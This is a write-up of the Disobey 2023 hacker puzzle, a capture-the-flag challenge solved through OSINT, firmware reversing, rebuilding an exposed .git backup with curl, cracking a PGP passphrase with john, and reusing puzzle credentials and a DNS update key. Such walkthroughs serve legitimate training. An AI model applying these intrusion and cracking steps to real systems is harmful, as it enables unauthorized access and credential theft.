This is my take on Disobey’s hacker puzzle for year 2023. The puzzle was originally released late 2020 for Disobey 2021, but since both the 2021 and the 2022 events were cancelled due to Covid, the puzzle is still valid for 2023 event.
Puzzle was maybe a bit more difficult compared to earlier puzzles, and if I’m not mistaken, there were only a couple of solves before late autumn 2022.
I have tried to document the whole process with enough detail for anyone to replicate the steps and solve the puzzle by themselves.
The puzzle was solved together with my friend and colleague Harri Hietaranta.
Part 1: The OSINT
The puzzle starts with the following text on disobey.fi website:
A facebook profile of Seppo Aapakka is found easily enough with google searches containing “Kouvosto Telecom”. A Linkedin profile is also found, confirming that Seppo is aligned with Kouvosto Telecom.
A public group called “Saboten” can be found with Facebook’s own search engine.
The group leads to saboten.kouvostotele.com, an Ftp server accepting anonymous login. Proceed to download all files from the server.
┌──(kali㉿kali)-[~] └─$ ftp saboten.kouvostotele.com Connected to saboten.kouvostotele.com. 220 KT Saboten implant firmware delivery service Name (saboten.kouvostotele.com:kali): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ... ┌──(kali㉿kali)-[~/saboten.kouvostotele.com] └─$ find . . ./prod ./prod/sb-ihv ./prod/sb-ihv/firmware ./prod/sb-ihv/firmware/CV-H103 ./prod/sb-ihv/firmware/CV-H103/488 ./prod/sb-ihv/firmware/CV-H103/488/bin ./prod/sb-ihv/firmware/CV-H103/488/bin/bin.7z ./prod/sb-ihv/firmware/CV-H103/2-02-6.2 ./prod/sb-ihv/firmware/CV-H103/2-02-6.2/bin ./prod/sb-ihv/firmware/CV-H103/2-02-6.2/bin/bin.7z ./prod/sb-ihv/firmware/CV-H103/H17-20.04 ./prod/sb-ihv/firmware/CV-H103/H17-20.04/bin ./prod/sb-ihv/firmware/CV-H103/H17-20.04/bin/bin.7z ./prod/sb-ihv/firmware/CV-H103/1-01-1.0 ...
The server contains a bunch of files, namely Study1.odt, MRI.zip, and a bunch of zipped firmware files. Study1.odt and MRI.zip are rabbit holes and the firmware binaries are the way forward.
Let’s unzip the binaries and inspect them closer. Only one file seems to be actually runnable.
┌──(kali㉿kali)-[~/saboten.kouvostotele.com] └─$ find . -type f -exec 7z e {} -aou ; ┌──(kali㉿kali)-[~/saboten.kouvostotele.com] └─$ find . -type f -name "bin*" -exec file {} ; ... ./bin_37: ELF 64-bit LSB executable, x86-64, version 1 (FreeBSD), dynamically linked, interpreter /libexec/ld-elf.so.1, for FreeBSD 12.0 (1200086), FreeBSD-style, stripped ...
Inspecting the results and removing the false positives leaves us with /prod/sb-ihv/firmware/NX-H218/0-00-3.1/bin/bin (bin_37 in the example above).
Flag 1: bin (file)
Part 2: The Firmware
Let’s start by doing some basic analysis of the acquired firmware.
┌──(kali㉿kali)-[~] └─$ file bin bin: ELF 64-bit LSB executable, x86-64, version 1 (FreeBSD), dynamically linked, interpreter /libexec/ld-elf.so.1, for FreeBSD 12.0 (1200086), FreeBSD-style, stripped ┌──(kali㉿kali)-[~] └─$ strings -n20 bin /libexec/ld-elf.so.1 about %d second(s) left out of the original %d usage: sleep seconds $FreeBSD: releng/12.0/lib/csu/common/ignore_init.c 339351 2018-10-13 23:52:55Z kib $ $FreeBSD: releng/12.0/bin/sleep/sleep.c 335395 2018-06-19 23:43:14Z oshogbo $ Linker: LLD 6.0.1 (FreeBSD 335540-1200005) $FreeBSD: releng/12.0/lib/csu/amd64/reloc.c 339351 2018-10-13 23:52:55Z kib $ $FreeBSD: releng/12.0/lib/csu/amd64/crti.S 217105 2011-01-07 16:07:51Z kib $ $FreeBSD: releng/12.0/lib/csu/amd64/crt1.c 339351 2018-10-13 23:52:55Z kib $ $FreeBSD: releng/12.0/lib/csu/amd64/crtn.S 217105 2011-01-07 16:07:51Z kib $ $FreeBSD: releng/12.0/lib/csu/common/crtbrand.c 341666 2018-12-07 00:00:12Z gjb $ FreeBSD clang version 6.0.1 (tags/RELEASE_601/final 335540) (based on LLVM 6.0.1) heap out of sync (BUG) -TgRjKhpXgjCcBoNMHGurBQELfGCHDSaqgeYluZMwrCZFo1 PCI INIT FAILED, NOT ENOUGH MEMORY PCI DEVICE FOUND, VENDOR ID: .33$"5a"3$%$/5( -2aga %%3$22a13.7(%$%KL .//$"5(./a5(,$%a.45ma3$538a, /4 --8oKLA /7 -(%a"3$%$/5( -2aga %%3$22a&(7$/`KLAsRc qPbdKcq'n}UFIWlB@~`S AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ┌──(kali㉿kali)-[~] └─$
The file seems to be a FreeBSD executable, and it seems to contain a suspicious string “TgRjKhp…”. Could be a password or an access token. Let’s take note of that. We can also see strings related to PCI device initialization, which is somewhat consistent with the assumption of the file being firmware. There’s also a very long string consisting of only A’s.
One explanation for the massively long “AAA…” would be that the firmware utilizes a simple xor-encryption with key x41, which has turned a long chunk of empty bytes into A’s. The reason for this could be to simply obfuscate the binary and make the static analysis more difficult.
Let’s verify our theory by xorring the firmware with x41 and inspecting the file again with strings.
xor.py:
import sys ifname = sys.argv[1] ofname = sys.argv[2] with open(ifname, "rb") as infile: with open(ofname, "wb") as oufile: in_arr = infile.read() out_arr = bytearray(len(in_arr)) key = b'x41' for j in range(len(in_arr)): out_arr[j] = in_arr[j] ^ key[0] oufile.write(out_arr)
┌──(kali㉿kali)-[~] └─$ strings -n20 bin_xorred hAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' Correct credentials & address provided Connection timed out, retry manually. Invalid credentials & address given!
Great. A couple of new strings appear, which means that a part of the firmware is really xorred with x41. Most likely the firmware will xor a part of itself with x41 on runtime to produce code that’s very difficult to analyze statically.
After actually running it in FreeBSD, the file seems to be just a regular FreeBSD sleep. However, since the strings we found earlier are not part of sleep, we already know that there is more than meets the eye in the firmware. There could be a way to jump to a different part of the file with a correct input. Or maybe the ELF part is pure red herring, and the real target is appended after the runnable part of the file (the ELF format allows to append arbitrary data to file while keeping it perfectly runnable)
Let’s first check if there are any differences compared to the original sleep. Let’s download FreeBSD 12.0, grab /bin/sleep and compare it to our firmware.
┌──(kali㉿kali)-[~] └─$ ls -la sleep -rwxrwxrwx 1 root root 15384 Oct 22 07:57 sleep ┌──(kali㉿kali)-[~] └─$ dd count=15384 if=bin of=bin_extracted bs=1 15384+0 records in 15384+0 records out 15384 bytes (15 kB, 15 KiB) copied, 0.0239218 s, 643 kB/s ┌──(kali㉿kali)-[~] └─$ diff sleep bin_extracted ┌──(kali㉿kali)-[~] └─$
Files are identical, which means, that the first 15384 bytes of bin are just the original sleep from FreeBSD. Let’s move on to other parts of the file.
# binwalk -E bin
Interestingly the file appears to consist of roughly three parts:
- Part with varying entropy
- Part with very high entropy
- Part with very low entropy
We already concluded that the first part is FreeBSD sleep. The second part, or high entropy part is most likely either encrypted or randomized (garbage) data. The third part could be the insanely long string of A’s. This is interesting, and means, that whatever is hidden in the file, is most likely hidden either between parts 1 and 2 or between parts 2 and 3.
Let’s inspect the exact offsets of the entropy charts.
# binwalk -EN bin
The second part starts at 15360, which is right at the end of the sleep. There could still be some space for extra code. What is more interesting though, is the offset for the third part: 65536. The total size of our file is 131072 bytes, which is exactly 65536*2. So, if you slice the file in two parts at offset 65535, the size of the remaining part is also exactly 65536 bytes, which, FYI, happens to be the full memory range of a 16-bit processor.
We should still try to get a confirmation for this assumption before rushing forward. Let’s split the file in two at the offset 65536:
┌──(kali㉿kali)-[~] └─$ dd count=15384 if=bin of=bin_extracted bs=1 15384+0 records in 15384+0 records out 15384 bytes (15 kB, 15 KiB) copied, 0.0291219 s, 528 kB/s
Then we fire up Ghidra and disassemble the latter part of the file in 16bit mode.
Let’s choose x86 and 16bit Real Mode, since it’s the most likely architecture. If we don’t get a hit, we’ll try other architectures.
Right away we can see decompiled functions and jumps with sensible offsets. This is usually a good sign indicating that we have decompiled the binary with the correct architecture.
Time for dynamic analysis – that is, running the firmware. Problem is that it’s not recognized as runnable. There are no executable headers, master boot records, or anything. Just code. It could also be that our offset is wrong.
┌──(kali㉿kali)-[~] └─$ file bin_pt2 bin_pt2: data
What we know, however, is that we have an unknown binary that’s claiming to be firmware, with a bunch of sensible 16bit code. We can try running the binary in qemu with -bios option (used mostly for “bare metal” firmware). We’ll also use “-serial stdio” to redirect any serial output to our terminal.
┌──(kali㉿kali)-[~] └─$ qemu-system-i386 -bios bin_pt2 -serial stdio PCI DEVICE FOUND, VENDOR ID: 8086 PCI DEVICE FOUND, VENDOR ID: 8086 PCI DEVICE FOUND, VENDOR ID: 1234 5432 Invalid credentials & address given!
Great. We are both able to run the file and get sensible output to our terminal.
Now it’s time to start dynamic analysis and attach radare2 to qemu.
# qemu-system-i386 -bios bin_pt2 -serial stdio -s -S
# r2 -a x86 -b 16 -D gdb -d gdb://localhost:1234
We enter visual mode in radare2
# vv
Unfortunately, we do not get sensible disassembly but can still see the register values. We don’t get disassembly, because the base binary address is wrong. To be honest, I’m not that familiar with Radare2, and it would not be my tool of choice if we did not have to run the binary with Qemu. I tried, but could not move the base memory address while remotely debugging (if you know how to do it, please tell me).
Gladly, we do not need to see the disassembly in Radare2 at this point. We can use Radare2 to check register values and Ghidra to see the disassembled code.
We know that we are looking for a function that xors some part of the memory with x41, and most likely also a function that compares two strings (remember the “Invalid credentials & address given!” string).
After stepping a few instructions forward in Radare we find ourselves in position 0x000, which should also be the beginning of the file in Ghidra. We run into another problem because Ghidra has not disassembled the code either.
Fortunately, we can manually force Ghidra to disassemble code.
After which we get sensible asm.
This procedure will also need to be repeated each time we find ourselves in a place that has not yet been disassembled by Ghidra.
Onwards.
We start stepping through the code one instruction at a time by pressing ‘s’ in Radare2 while in visual mode (“vv”).
At first, the firmware is querying PCI-devices and printing some information about them, but after the third device has been initialized, something interesting is happening. It took a couple of runs to notice, but it’s there.
At 0x00CC the program loads a byte from an address pointed by EBX to AH register, and at 0x00D4 a byte from DS:SI to AL register.
Inspecting registers, we see that EBX points to 0xf031b, ESI to 0xa000, and EDI to 0x8c00.
Further inspecting those addresses, we notice that the address in EBX contains the weird string we saw earlier in strings output, while both addresses pointed by ESI and EDI seem empty.
# x/40x @ebx
We now have ‘T’ in AH, and a null byte in AL.
We go a few steps forward until we land on instruction at 0x500.
At 0x500 AL is xorred with AH (and the result stored in AL), after which both AL and AH have the letter ‘T’.
After a few jumps, we land at 0x00e7, where the instruction is to store a byte from AL to the address pointed by DS:DI. The EDI register is still at 0x8c00, so that’s where our ‘T’ will end up.
After this, we jump back to the beginning of the function where a byte is read from EBX and from DS:SI. Only this time both have been accumulated by 1 (the instructions at 0xc8 and 0xcc effectively increase the value of EBX by one, and DS:SI increases automatically after LODSB operation).
Also, note that the operation will loop 0x2c times (the value in ECX).
In short, we are reading 0x2c bytes from 0xf031b, xorring it with bytes from 0xa000, and storing the result to 0x8c00.
Let’s continue execution.
Soon after we land at 0x466, where the actual xorring with x41 is happening. A byte is loaded from SI to AL, then xorred with x41, and the result then stored in DI. This is then looped for CX times. Register values are: SI = 0x495, DI 0x2000, and CX = 0x200. We are reading 0x200 bytes starting from 0x495, xorring them with x41, and storing the resulting bytes in memory to position 0x2000. After the loop is finished a jump to 0x2000 is conducted. That’s the place where deobfuscated code will be, and most likely also the strings that were seen earlier (“Correct credentials…” and “Incorrect credentials”).
Let’s jump forward to 0x2000 with “dcu 0x2000”.
# dcu 0x2000
At 0x200d the 0x2c is once again moved to CX register. It most likely means that the string that was copied earlier is now going to be loaded into memory again.
Immediately after the value 0x20af is loaded into SI and 0x8c00 into DI.
Then a byte is loaded to AL from SI and then to AH from DI. Then at 0x38e0 bytes at AL and AH are compared, and if they are not equal, a jump to 0x2025 is conducted. Then DI is incremented (since MOV instruction does not automatically increment the register), and the whole procedure looped 0x2c times.
The EDI (0x8c00) still contains the “mystery string”, and ESI (0x20af) contains rubbish.
A sophisticated guess can be taken at this point, that if these two strings match, then the puzzle is completed.
A few steps back, the String1 (“x54x67x52x6a…”) was xorred with an empty string from 0xa000, before being stored to 0x8c00. It can be assumed that whatever is the correct key, should have been in 0xa000, and when xorred with String1 should result in String2 (“x32x13x22x50”). Therefore the key can be obtained by xorring String1 with String2.
Flag: ftp://kt:bl4de_runn3r@files.kouvostotele.com
Part 3: The Üxin
There is a pdf-file and a hidden folder in files.kouvostotele.com.
┌──(kali㉿kali)-[~] └─$ ftp kt@files.kouvostotele.com Connected to files.kouvostotele.com. 220 Welcome to KT files service. 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -la 229 Entering Extended Passive Mode (|||10872|) 150 Here comes the directory listing. drwxr-xr-x 3 ftp ftp 4096 Oct 14 2020 . drwxr-xr-x 3 ftp ftp 4096 Oct 14 2020 .. drwxr-xr-x 2 ftp ftp 4096 Oct 14 2020 .h0ll9w00d -rw-r--r-- 1 ftp ftp 224531 Oct 09 2020 PO31337-iPhone-forensics.pdf 226 Directory send OK. ftp>
The hidden folder “.h0ll9w00d” contains only rabbit holes, but the file “PO31337-iPhone-forensics.pdf” contains a new domain, “forensics.uxin.fi”.
The domain leads to a homepage(?) of digital forensics company Üxin Forensics. There is a blog post stating that the “new secure-files platform is now public”.
The link leads to https://secure-files.uxin.fi, which unfortunately leads to 404. The reason for this is that the A-record for secure-files.uxin.fi is pointing to 127.0.0.1 (which is localhost).
┌──(kali㉿kali)-[~] └─$ dig secure-files.uxin.fi ; <<>> DiG 9.18.7-1-Debian <<>> secure-files.uxin.fi ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37921 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4000 ;; QUESTION SECTION: ;secure-files.uxin.fi. IN A ;; ANSWER SECTION: secure-files.uxin.fi. 3565 IN A 127.0.0.1 ;; Query time: 20 msec ;; SERVER: 10.71.0.10#53(10.71.0.10) (UDP) ;; WHEN: Fri Nov 18 06:04:32 EST 2022 ;; MSG SIZE rcvd: 65
Let’s add secure-files.uxin.fi to host’s file and try again.
┌──(kali㉿kali)-[~] ┌──(kali㉿kali)-[~] └─$ sudo cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 kali ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 94.237.112.179 secure-files.uxin.fi
After this we get a basic auth prompt from https://secure-files.uxin.fi and an “under construction” image from http://secure-files.uxin.fi
Quick enumeration shows us that there is a directory “backup” on https server.
┌──(kali㉿kali)-[~] └─$ wfuzz -w big.txt --hc=401 https://secure-files.uxin.fi/FUZZ /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: https://secure-files.uxin.fi/FUZZ Total requests: 20486 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000003051: 404 7 L 11 W 153 Ch "backup2" 000003050: 404 7 L 11 W 153 Ch "backup-db" 000003049: 404 7 L 11 W 153 Ch "backup-56bf2" 000003048: 301 7 L 11 W 169 Ch "backup" 000003052: 404 7 L 11 W 153 Ch "backup_db" 000003054: 404 7 L 11 W 153 Ch "backup_site" 000003057: 404 7 L 11 W 153 Ch "backups" 000003056: 404 7 L 11 W 153 Ch "backupfiles" 000003053: 404 7 L 11 W 153 Ch "backup_migrate" 000003055: 404 7 L 11 W 153 Ch "backupdb" Total time: 52.62700 Processed Requests: 20486 Filtered Requests: 20476 Requests/sec.: 389.2678
Enumerating further leads us to “/backup/users/timi/.git/”. It seems that there’s a backup of a git repository, but of course, the directory listing is disabled. Why can’t we have nice things? Fortunately, we can manually reconstruct the repository locally.
We start by getting the HEAD file, which contains the location of the repository head, which in turn contains the corresponding object id. We can then download the object (in git, the first two characters are the directory name, and the rest is the file name).
┌──(kali㉿kali)-[~] └─$ curl https://secure-files.uxin.fi/backup/users/timi/.git/HEAD ref: refs/heads/master ┌──(kali㉿kali)-[~] └─$ curl https://secure-files.uxin.fi/backup/users/timi/.git/refs/heads/master 6c1ddbb58373e2f045a671cff7203afab4e7f0f5 ┌──(kali㉿kali)-[~] └─$ curl https://secure-files.uxin.fi/backup/users/timi/.git/objects/6c/1ddbb58373e2f045a671cff7203afab4e7f0f5 Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: " to save to a file.
The downloaded object can then be transferred to an empty local repository, after which we can use git cat-file to read its contents. Alternatively, you can use one of the many tools available online.
┌──(kali㉿kali)-[~/git/reconstructed] └─$ git cat-file -p 6c1ddbb58373e2f045a671cff7203afab4e7f0f5 tree 045ecddbe36501fc6046ca4f44d31a7763ccbe97 parent 84855f529022de833495efcc429130934caf3f35 author Timi Miespera <timi@uxin.fi> 1602500886 +0000 committer Timi Miespera <timi@uxin.fi> 1602500886 +0000 Added iPhone image acquisition photos.
The object in question seems to be a commit. The file also contains references to other objects. We can then proceed to download new objects.
┌──(kali㉿kali)-[~/git/reconstructed] └─$ curl https://secure-files.uxin.fi/backup/users/timi/.git/objects/04/5ecddbe36501fc6046ca4f44d31a7763ccbe97 --output 045ecddbe36501fc6046ca4f44d31a7763ccbe97 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 396 100 396 0 0 10030 0 --:--:-- --:--:-- --:--:-- 10153
We download the “tree” or object “045ecddbe36501fc6046ca4f44d31a7763ccbe97” and get a nice file listing.
┌──(kali㉿kali)-[~/git/reconstructed] └─$ git cat-file -p 045ecddbe36501fc6046ca4f44d31a7763ccbe97 120000 blob dc1dc0cde0f7dff7b7f7c9347fff75936d705cb8 .bash_history 040000 tree 7abed83394f7a4f5eb3e138a2bb1d3c3adc0a6f3 .bcksp 100644 blob 9114d92d35555c1933d0e9006f80fba86af67186 .gitconfig 100644 blob 9b1166696b36118bfa03c464abfa72e6e236d26d .gitignore 160000 commit 1744277a68101916d51cda2c67951f5981f1f216 .oh-my-zsh 040000 tree f2aa6551ce5dd8fe1e54c40c078eda402650f9e6 .password-store 100644 blob e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 .shell.pre-oh-my-zsh 100644 blob 3a378f3cd132b8991e06161b02994e0db251d48b .wget-hsts 120000 blob dc1dc0cde0f7dff7b7f7c9347fff75936d705cb8 .zsh_history 100644 blob d743f1a95ff87c9f516775d7d44ee707683114f1 .zshrc 040000 tree a8bb827fd785d5eb7839d841f43b97b27ec2d07f Documents 040000 tree 92d46b477306804ad940cb291233be70483ba12e Pictures
With this procedure we can iterate through the whole repository, downloading individual files (blobs), and directory listings (trees). The contents of the blobs can also be read by first downloading the object file and then manually decompressing it with for example python.
For example, the contents of “.gitconfig” can be read as follows:
┌──(kali㉿kali)-[~/git/reconstructed] └─$ curl https://secure-files.uxin.fi/backup/users/timi/.git/objects/91/14d92d35555c1933d0e9006f80fba86af67186 --output .gitconfig % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 118 100 118 0 0 2239 0 --:--:-- --:--:-- --:--:-- 2269 ┌──(kali㉿kali)-[~/git] └─$ python Python 3.10.7 (main, Oct 1 2022, 04:31:04) [GCC 12.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import zlib >>> compressed_contents = open('.gitconfig', 'rb').read() >>> print(zlib.decompress(compressed_contents)) b'blob 106x00[user]ntname = Timi Miesperantemail = timi@uxin.fintsigningkey = B21E70FBC5DC1852CCCD6F036C5E8E6DC4E8FAC3n' >>>
By iterating through the commits and trees we finally stumble upon a file “public.key”, which is an OpenPGP Secret Key. We also have two encrypted files “whois.gpg” and “timi.gpg”. The key is password protected but can easily be cracked with John.
┌──(kali㉿kali)-[~/git/loot] └─$ file public.key public.key: OpenPGP Secret Key Version 4, Created Sun Oct 11 12:04:52 2020, RSA (Encrypt or Sign, 1024 bits); User ID; Signature; OpenPGP Certificate ┌──(kali㉿kali)-[~/git/loot] └─$ gpg2john public.key File public.key Timi Miespera:$gpg$*1*348*1024*bea30a89371d107f2f6b208efb95f709284f127770351253a7911729c50bf60016c9b751adb7a48c39901895aaafda5df503781eaf71c8da0d8448dcf6a5f1734dcc2dd57eea9c24f9b72eec44c5931469151b1f0670f7f959b69bd52e1cd9c0ad2a1240ad85ad246b20e573a0a0ce23882f5fac80a46ed5522e19039ef75e46e1af432a0625b601dc9ef0978be4f79e3e86038a32498929e9b0a7f0abafa2970a91899ac092abdb2788e6b55c814bb3894e71fe3408a0db525a7db4db250e0c8250800d09e7da196b345086cfd5bba719730279c411c924c0ae74630cbf1eada91bbfa2832b9ff13bd7b87ce78eca5fd57379eb3cd674623ef13133929914dbdcbf4e9114c1cc47b4a0b83b813b752d96095b1d040792ee7f503868a3794a1182680529ba204499c024fe93b20623fdf21f1e809ecb62f51a1a76685845e7f0872f162203805ea7a6f1e570a6a8e6df831ad5eb256ca31a3084db25*3*254*2*7*16*832c31aef32810163af238f756dd2a4d*65011712*34990efae81eaac3:::Timi Miespera ::public.key ┌──(kali㉿kali)-[~/git/loot] └─$ gpg2john public.key > hash.john File public.key ┌──(kali㉿kali)-[~/git/loot] └─$ john -w /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-75.txt hash.john Warning: only loading hashes of type "tripcode", but also saw type "descrypt" Use the "--format=descrypt" option to force loading hashes of that type instead Warning: only loading hashes of type "tripcode", but also saw type "pix-md5" Use the "--format=pix-md5" option to force loading hashes of that type instead Warning: only loading hashes of type "tripcode", but also saw type "gpg" Use the "--format=gpg" option to force loading hashes of that type instead Using default input encoding: UTF-8 Loaded 595 password hashes with no different salts (tripcode [DES 128/128 SSE2]) Proceeding with wordlist:/usr/share/john/password.lst Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:00 DONE (2022-11-18 08:03) 0g/s 88550p/s 88550c/s 52687KC/s 123456..sss Session completed. ┌──(kali㉿kali)-[~/git/loot] └─$ john --show hash.john Timi Miespera:iloveyou!:::Timi Miespera ::public.key 1 password hash cracked, 0 left
After which the key can be imported and two encrypted files can be decrypted:
┌──(kali㉿kali)-[~/git/loot] └─$ gpg --output timi --decrypt timi.gpg gpg: Note: secret key BB61D5A4F4B8DD5D expired at Mon 12 Oct 2020 08:04:52 AM EDT gpg: encrypted with 1024-bit RSA key, ID BB61D5A4F4B8DD5D, created 2020-10-11 "Timi Miespera " ┌──(kali㉿kali)-[~/git/loot] └─$ cat timi {/w8P;;}aED,{8s$ ┌──(kali㉿kali)-[~/git/loot] └─$ gpg --output whois --decrypt whois.gpg gpg: Note: secret key BB61D5A4F4B8DD5D expired at Mon 12 Oct 2020 08:04:52 AM EDT gpg: encrypted with 1024-bit RSA key, ID BB61D5A4F4B8DD5D, created 2020-10-11 "Timi Miespera " ┌──(kali㉿kali)-[~/git/loot] └─$ cat whois Keep up the good work!
The decrypted contents of timi.gpg can now be used as a basic authentication password for https://secure-files.uxin.fi.
After successful login, we land at https://secure-files.uxin.fi and are greeted with a picture of an old UDP joke.
Quick enumeration reveals another UDP joke, which starts to strongly hint towards using UDP to get forward.
For those who did not know, the HTTP/3 is based on UDP and QUIC. Quick (intended) test reveals that the server is responding to HTTP/3 requests.
The problem here was finding a working HTTP/3 client. The standard is still (or was when the puzzle was created) under construction, and many of the available clients did not work for this server. I used a solution built inside a docker container.
Now requesting the server again with the HTTP/3 client:
┌──(kali㉿kali)-[~] └─$ sudo docker run --rm ymuski/curl-http3 curl --http3 -H "Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk" https://forensics.uxin.fi % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 383 0 383 0 0 772 0 --:--:-- --:--:-- --:--:-- 770 <html> <head><title>Index of /</title></head> <body> <h1>Index of /</h1><hr><pre><a href="../">../</a> <a href="KT_Forensics_iPhone_image.7z">KT_Forensics_iPhone_image.7z</a> 12-Oct-2020 12:31 3167184323 <a href="readme.txt">readme.txt</a> 12-Oct-2020 21:01 150 </pre><hr></body> </html>
It seems we have two files. An iPhone image and a readme.txt.
Reading the readme.txt:
┌──(kali㉿kali)-[~] └─$ sudo docker run --rm ymuski/curl-http3 curl --http3 -H "Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk" https://forensics.uxin.fi/readme.txt % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 150 100 150 0 0 1578 0 --:--:-- --:--:-- --:--:-- 1578 Hi Timi, Please investigate this iPhone as soon as possible! There might be some sensitive information for KT. Best regards, Anttu Kuura Your Boss.
Let’s download the iPhone image and start investigating.
Flag: …not so fast. Unfortunately downloading the file is not as straightforward as one would think. Whether intentional or not, the server is resetting the connection every few seconds. We get a few megabytes of the file at a time – at most. And since the file size is a couple of gigabytes we need to come up with another solution.
We write a quick and dirty python script to download the file in chunks and then reassemble the file once all chunks are downloaded:
download.py:
┌──(kali㉿kali)-[~] └─$ cat download.py #!/usr/bin/python import os import sys # configs desturl = "https://forensics.uxin.fi/KT_Forensics_iPhone_image.7z" outputfile = "KT_Forensics_iPhone_image.7z" # size of a chunk psize = 512000 # total size of the file fsize = 3167184323 # calculations... total_parts = (fsize // psize) + 1 last_part_size = fsize % psize # print basic info print(f"[+] Total parts:t{total_parts - 1}") print(f"[+] Part size:tt{psize}") print(f"[+] Total size:tt{psize * (total_parts - 1) + last_part_size}") # loop until everything is downloaded while i < total_parts: pbeg = i*psize # calculate start & end offsets if i < total_parts-1: pend = pbeg + psize - 1 else: pend = pbeg + last_part_size print(f"Downloading part {i+1}/{total_parts + 1} ({pbeg}..{pend})") # download chunk cmd = f'sudo docker run -v /home/kali/uxin:/tmp --rm ymuski/curl-http3 curl -sS --max-time 5 --http3 -H "Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk" --range {pbeg}-{pend} {desturl} --output /tmp/{outputfile}_part{i}' retval = os.system(cmd) # check for errors and retry if needed if retval != 0: print(f"[-] Error detected, retrying part {i}...") continue # if all is well, proceed to next chunk i=i+1 print("[+] Download complete!") print("[+] Reonstructing file...") # assemble the file for i in range(0, total_parts): os.system(f"cat {outputfile}_part{i} >> {outputfile}")
Now we can finally download the file.
Flag: KT_Forensics_iPhone_image.7z (file)
Part 4: The iPhone
Unzip the image and unpack the dar file inside.
┌──(kali㉿kali)-[~] └─$ 7z t KT_Forensics_iPhone_image.7z ┌──(kali㉿kali)-[~] └─$ cd UFED Apple iPhone 6s (A1688) 2020_10_12 (001) ┌──(kali㉿kali)-[~] └─$ dar -x AdvancedLogical Full File System 01/FullFileSystem.1.dar
Searching through the image a password protected zip-file is found:
┌──(root㉿kali)-[/mnt/…/Library/Mail/CEAB6F3D-B8DC-47DD-863F-F21B818B0064/INBOX.imapmbox] └─# ls Attachments/25/2 lb.zip
And then an email message containing the encryption key:
┌──(root㉿kali)-[/mnt/…/Mail/CEAB6F3D-B8DC-47DD-863F-F21B818B0064/INBOX.imapmbox/Messages] └─# cat 5944AEEC-9205-42B5-A652-B5EF4D9553C1.1.2.emlxpart <div dir=3D"ltr"><br><div>Hi Seppo!</div><div><br></div><div>I was finally = able to deploy the production site beacon to submit metrics to our servers.= As you might be aware, the early 90's server hardware we're using = is struggling with keeping up with the load. I was able to come up with a g= enius=C2=A0client side load balancing solution=C2=A0to mitigate this issue.= It's probably one of the best solutions I have come up with this far!<= /div><div><br></div><div>As you know, the data we're sending out is hig= hly sensitive because of the production plant operations, so in the example= I have attached to this email just includes testing data. I believe the so= lution is bullet proof as we really don't want the operations to be exp= osed to the public. However I'd like you to verify=C2=A0it (see the att= achment).</div><div><br></div><div>Password for the archive is hunteR2</div= ><div><br></div><div><br></div><div>--</div><div>Mauno Rajam=C3=A4ki</div><= /div>
We decrypt & unzip, and find a packet capture file.
Flag: submission_example.pcap (file)
Part 5: The DNS
Right away an interesting TCP-stream is found from the pcap:
__ __ __ / //_/__ __ ___ _____ ___ / /____ / ,< / _ / // / |/ / _ (_-</ __/ _ /_/|_|___/_,_/|___/___/___/__/___/ / /____ / /__ _______ __ _ / __/ -_) / -_) __/ _ / ' __/__/_/__/__/___/_/_/_/ Key distribution service (c) Kouvosto Telecom 1991 LOGIN: mauraja PASSWORD: Summer2020! Welcome Mauno Rajam{ki Commands: CREATE new key LIST existing keys DELETE key CMD> LIST NAME: Kupdatekey.+165+07388 FORMAT: v1.3 SECRET: GZ+xb9VxTX5WrwFM7L8D4YR1NC5G3WJNxOalrApwrxKA2uTCTpzRPEDXfu8aRubUJKOMb5M3iOsTQh0mgOyV1A== KEY: 512 3 165 GZ+xb9VxTX5WrwFM7L8D4YR1NC5G3WJNxOalrApwrxKA2uTCTpzRPEDX fu8aRubUJKOMb5M3iOsTQh0mgOyV1A== BITS: AAA= CREATED: 20201007101121 QUIT EXIIT EXIT PERKELE Key distribution service shutdown sequence started... Shutting down in 5 seconds
The TCP stream contains some kind of online terminal transaction, which in turn contains a DNS key named “updatekey”. The key can most likely be used to update DNS records. Now we only need to find a corresponding DNS server
Inspecting further an IP of a server 94.237.108.204 is found from the pcap file, containing a POST request to /submit -endpoint and a domain crunch.kt.3g.re:
